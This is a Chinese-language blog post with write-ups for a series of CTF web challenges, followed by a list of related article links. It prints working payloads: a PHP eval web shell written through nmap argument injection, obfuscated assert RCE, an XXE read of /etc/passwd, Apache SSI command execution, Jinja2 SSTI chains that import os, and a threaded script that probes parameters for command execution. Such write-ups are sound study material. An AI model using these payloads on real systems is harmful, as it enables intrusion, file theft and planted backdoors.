def get_content(file):s1.acquire()                                                print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f:                          #打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {}                                                       #所有的$_POSTparams = {}                                                     #所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://127.0.0.1/src/'+filereq = session.post(url, data=data, params=params)           #一次性请求所有的GET和POSTreq.close()                                             # 关闭请求  释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content:                                 #如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close()                                             # 关闭请求  释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close()                                             # 关闭请求  释放内存if "xxxxxx" in content:breakif flag == 1:                                                   #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)print('结束时间:  ' + time.asctime(time.localtime(time.time())))s1.release()for i in files:                                                         #加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()

这里的话直接用网站容器太脆弱了,本地phpstudy搭个网站试

把src放到www目录下

最后的结果就是:

文件:xk0SzyKwfzw.php

GET参数:Efa5BVG

payload:/xk0SzyKwfzw.php?Efa5BVG=tac /flag

[网鼎杯 2020 朱雀组]Nmap
NMAP‍
escapeshellarg和escapeshellcmd绕过

看源码:

是namp的题,跟Online tool很像

都有escapeshellarg和escapeshellcmd

escapeshellarg:

escapeshellcmd:

payload:127.0.0.1 | <?php @eval($_POST[1]);?> -oG 1.php

发现不行,猜测php被banl

127.0.0.1 | <?= @eval($_POST[1]);?> -oG 1.phtml

蚁剑连接

[CISCN2019 华东南赛区]Web11
Smarty模板注入

看到这里有一个ip

发现注入点:

发现可以直接命令执行

[极客大挑战 2019]RCE ME
assert
蚁剑绕过disable function

想办法构造code,然后长度要在40个字符内

可以用异或,取反:

这里我在异或的时候发现如果有',"这些在,^后面的部分会被直接替换掉,这里就用取反

echo urlencode(~ 'phpinfo');

看看phpinfo

(~%8F%97%8F%96%91%99%90)();

看看ban了哪些函数

关于eval

这里我们用assert

payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);

然后直接蚁剑连接

【这里的url要加上?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);】

然后发现不能直接读flag

有个readflag

这里我们需要用到插件

点开市场,下载绕过disable function

打开,选择这个模式

[NPUCTF2020]ReadlezPHP

看源码,发现了这个东西

访问后源码:

<?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);?>

脚本:

<?php
class HelloPhp
{public $a;public $b;
}/*public function __construct(){$this->a = "system";$this->b = "ls";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);//这个}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);
*/$c = new HelloPhp;
$c->a = "phpinfo()";   
$c->b = "system";
echo serialize($c);?>

这里发现system('ls')没反应,那就看看环境变量

也是发现禁止了一堆函数

但是可以直接找到flag

[BSidesCF 2019]Futurella

直接看源码:

[BSidesCF 2019]Kookie

随便输一点东西,抓包

好像不是很行,单独action=login试试

登上去了,结合提示cookie,抓包,发现cookie有一个username=

直接为admin

[De1CTF 2019]SSRF Me
from flask import Flask, request  # 导入Flask和request模块
import socket
import hashlib
import urllib
import sys
import os
import jsonreload(sys)
sys.setdefaultencoding('latin1')app = Flask(__name__)  # 创建一个Flask应用实例
secret_key = os.urandom(16)  # 生成一个16字节的随机密钥# 定义一个名为Task的类,用于处理任务
class Task:def __init__(self, action, param, sign, ip):self.action = action  # 任务动作self.param = param    # 参数self.sign = sign      # 签名self.sandbox = md5(ip)  # 根据IP生成一个唯一的沙盒目录名if not os.path.exists(self.sandbox):os.mkdir(self.sandbox)  # 如果沙盒目录不存在,创建它def Exec(self):result = {}result['code'] = 500  # 默认响应码为500if self.checkSign():  # 检查签名是否有效if "scan" in self.action:  # 如果任务动作是"scan"tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)  # 执行扫描操作if resp == "Connection Timeout":result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200  # 执行成功,响应码为200if "read" in self.action:  # 如果任务动作是"read"f = open("./%s/result.txt" % self.sandbox, 'r')#写到result.txt文件result['code'] = 200result['data'] = f.read()  # 读取结果if result['code'] == 500:result['data'] = "Action Error"  # 如果动作无效,设置响应数据else:result['code'] = 500result['msg'] = "Sign Error"  # 如果签名无效,设置响应消息return resultdef checkSign(self):if getSign(self.action, self.param) == self.sign:  # 验证签名是否匹配return Trueelse:return False# 创建路由"/geneSign",用于生成签名
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)# 创建路由"/De1ta",用于处理任务
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif waf(param):  # 检查是否触发Web应用防火墙(WAF)return "No Hacker!!!!"task = Task(action, param, sign, ip)  # 创建任务对象return json.dumps(task.Exec())  # 返回任务执行结果的JSON表示# 创建根路由"/",用于返回文本文件内容
@app.route('/')
def index():return open("code.txt", "r").read()# 定义一个用于扫描URL的函数
def scan(param):socket.setdefaulttimeout(1)     # 设置超时时间try:return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符except:return "Connection Timeout"# 生成签名的函数
def getSign(action, param): return hashlib.md5(secret_key + param + action).hexdigest()# 计算MD5哈希的函数
def md5(content):return hashlib.md5(content).hexdigest()# Web应用防火墙(WAF)检查函数
def waf(param):check = param.strip().lower()if check.startswith("gopher") or check.startswith("file"):  # 检查前缀开头return True  # 如果参数触发WAF规则,返回Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0', port=80)  # 启动Flask应用,监听在0.0.0.0的80端口上

这里出flag的逻辑就是通过scan扫到flag.txt然后写入result.txt文件,再用read把result.txt的文件内容读出来

如果我们想要读flag.txt,就需要进行scan和read操作,而这两个操作在Tack类中需要checkSign检查(对比md5值),那我们就可以用/geneSign知道该md5值(有·return)

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)

此时action为scan,所以我们param为flag.txtread

(这里加个read是因为我们在/De1ta中操作的时候需要read,来构建我们需要的sign)

这样拼接之后就是 secret_keyflag.txtreadscan

because——> return hashlib.md5(secret_key + param + action).hexdigest()

然后就读flag:

这里param=flag.txt与action=readscan 拼接完后为 secret_keyflag.txtreadscan

和上文得到的md5值一致

[ASIS 2019]Unicorn shop
UTF-8与unicode编码转化漏洞

进来一个界面,看源码有个提示,这是先试试admin

unicodedata.numeric()函数用于获取一个Unicode字符的数值属性。例如,如果传入一个数字字符,如'2',它会返回对应的数值2.0。但是这个函数只能接受一个单独的字符,而不是字符串或空字符串

这里提示UTF8很重要,因为我们网页前端是用UTF-8写的,后端又是unicode编码

这是会出现一个转码的问题:

感觉flag就是那个id为4的,我们就找一个字符,然后他数值化后大于1337

直接在这里找

找到这个的UTF-8编码:

然后把0x替换成%

%F0%90%84%A3

[NCTF2019]Fake XML cookbook
题目都说了是XML

先抓包看看

还真是

来个介绍

我们尝试读取文件:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note [

<!ENTITY admin SYSTEM "file:///etc/passwd">

]>

  • <?xml version="1.0" encoding="utf-8"?>: 这是标准的 XML 声明,指定了文档版本和字符编码。
  • <!DOCTYPE note [...] >: 定义了一个名为 note 的文档类型定义(DTD)。这里使用了内部 DTD 来声明一个自定义的实体。
  • <!ENTITY admin SYSTEM "file:///etc/passwd">: 在 DTD 中声明了一个名为 admin 的外部实体。这个实体指向了 /etc/passwd 文件
  • /etc/passwd存储所有用户账户的基本信息

可以,注意这里我们xml部分和上面的只需要空一行,否则 违反 HTTP 协议规范,可能导致服务器无法正确解析请求,从而引发错误

然后就是读flag:

file:///flag

[BJDCTF2020]EasySearch
Apache SSI 远程命令执行漏洞
.shtml

打开登录界面,研究了一会发现好像没啥东西

后面是去看看有没有 源码备份文件

这里从一位师傅那里拿了一个字典:

dweb.tar
website.tar
backup.tar
back.tar
www.tar
wwwroot.tar
temp.tar
web.tar.gz
website.tar.gz
backup.tar.gz
back.tar.gz
www.tar.gz
wwwroot.tar.gz
temp.tar.gz
web.zip
website.zip
backup.zip
back.zip
www.zip
wwwroot.zip
temp.zip
web.rar
website.rar
backup.rar
back.rar
WWW.rar
wwwroot.rar
temp.rar
.index.php.swp
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.7z
web.7z
web.tar
index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old

爆破后发现index.php.swp

源码如下:

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>

要求password的前6向为6d0bc1

ai写一个脚本就行了

import hashlibdef generate_md5(prefix):count = 0while True:data = prefix + str(count)md5_hash = hashlib.md5(data.encode()).hexdigest()if md5_hash.startswith(prefix):return md5_hash, datacount += 1prefix = input("请输入六个字符的前缀:")
md5_hash, data = generate_md5(prefix)
print("MD5值:", md5_hash)
print("加密前的数据:", data)

6d0bc14719749

进来后抓包

有一个路径

有个ip,但是试了一下没什么用,但是发现Hello后面跟的是1,也就是我们前面username的值

这里就有一个 .shtml

Apache SSI 远程命令执行漏洞

那就试试<!--#exec cmd="ls /" -->

  • <!--#exec ... -->: 这是一个 SSI 指令,用于执行服务器上的命令。
  • cmd="ls /": 指定要执行的命令是 ls /,这将列出根目录 / 下的所有文件和目录。

发现可以,那我们往前翻:

<!--#exec cmd="ls ../" -->

ok,然后tac就好了

[CISCN 2019 初赛]Love Math


这题nss上也有
源码:
就是给我们限制了函数eval的话我们可以直接用命令执行system('tac /flag')
只不过可以写成$_GET[a]($_GET[b])&a=system&b=tac /flag这种形式
这里我们用到hex2bin函数
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符
但是题目中没有允许我们用这个
看到base_convert这个函数——在任意进制之间转换数字
然后因为36进制包含了10个数字+26个字母
我们就可以让hex2bin当作一个36进制的数
通过构造他的10进制——>base_convert转化为hex2bin使用
 


37907361743
然后我们的_GET的ascii码为5f474554,但是这里也是要转为10进制:
 


1598506324
payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{sin})&cos=system&sin=tac /flag

这里的pi,cos,sin都是常数,pi这里构造后就是_GET
$$pi{cos}就是$_GET[cos]
 


[GYCTF2020]FlaskApp
SSTI
看看hint
 


感觉这个session有东西
 


还有提示一个pin
我们先试试{{7*7}}加密然后再解密:
 


既然被过滤了,那么就是有这个东西
这里有waf,所以我们先读一下源码
大佬的脚本:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

 


这里看到被过滤的函数
payload:
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
解释一下这个代码:
[]:创建一个空列表对象
.__class__:获取该列表的类(即 list 类型)
.__bases__[0]:获取 list 的基类(即 object,Python中所有类的基类)
.__subclasses__():列出 object 的所有直接子类
[75]:访问第75个子类
.__init__:获取该类的初始化方法
.__globals__:访问该初始化方法的全局变量字典(包含该类定义时的全局作用域中的变量)
['__builtins__']:从全局变量中获取 __builtins__(内置模块和函数的集合)
['__imp'+'ort__']:拼接字符串得到 __import__ 函数(用于动态导入模块)
('o'+'s'):拼接字符串得到 'os',作为参数传入 __import__
.listdir('/'):调用 os.listdir('/'),列出根目录下的文件
 


然后就是读取:
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/this_is_the_fla''g.txt','r').read()}}
 



 

若有收获,就点个赞吧

http://www.xdnf.cn/news/12150.html

相关文章:

  • 自定义Spring Boot Starter的全面指南
  • 解决el-select选择框右侧下拉箭头遮挡文字问题
  • 自建 Derp 中继节点
  • golang 如何定义一种能够与自身类型值进行比较的Interface
  • 【论文解读】MemGPT: 迈向为操作系统的LLM
  • 13.4 AI颠覆语言学习:预录制视频+GPT-4评估如何实现60%成本降低与40%留存飙升
  • 阿里云域名怎么绑定
  • Elastic 获得 AWS 教育 ISV 合作伙伴资质,进一步增强教育解决方案产品组合
  • React---day9
  • Python爬虫与Java爬虫深度对比:从原理到实战案例解析
  • 用函数实现模块化程序设计(适合考研、专升本)
  • 自定义注解facade 实现切面 进行日志记录和参数校验
  • Xcode 16.4 + iOS 18 系统运行时崩溃:___cxa_current_primary_exception 符号丢失的原因与解决方案
  • 用 n8n 提取静态网页内容:从 HTTP Request 到 HTML 节点全解析
  • 国产linux系统(银河麒麟,统信uos)使用 PageOffice在线编辑word文件保存数据同时保存文件
  • Ubuntu20.04设置为开机后直接自动进入纯命令行界面
  • mysql复合查询mysql子查询
  • 深度学习姿态估计实战:基于ONNX Runtime的YOLOv8 Pose部署全解析
  • IDEA:配置 Git 需要完成 Git 路径设置、账号认证以及仓库关联三个主要步骤
  • 目标检测实战:让AI“看见“并定位物体(superior哥AI系列第11期)
  • [Zynq] Zynq Linux 环境下 AXI UART Lite 使用方法详解(代码示例)
  • ArcGIS Pro 3.4 二次开发 - 宗地
  • HarmonyOS:如何在启动框架中初始化HMRouter
  • 【前端】vue3性能优化方案
  • 【Linux】Linux基础指令1
  • RPA+AI:自动化办公机器人开发指南
  • 基于值函数的强化学习算法之Double Q-Learning详解
  • 129、QT搭建FFmpeg环境
  • vue3+ts实现百度地图鼠标绘制多边形
  • 【websocket】安装与使用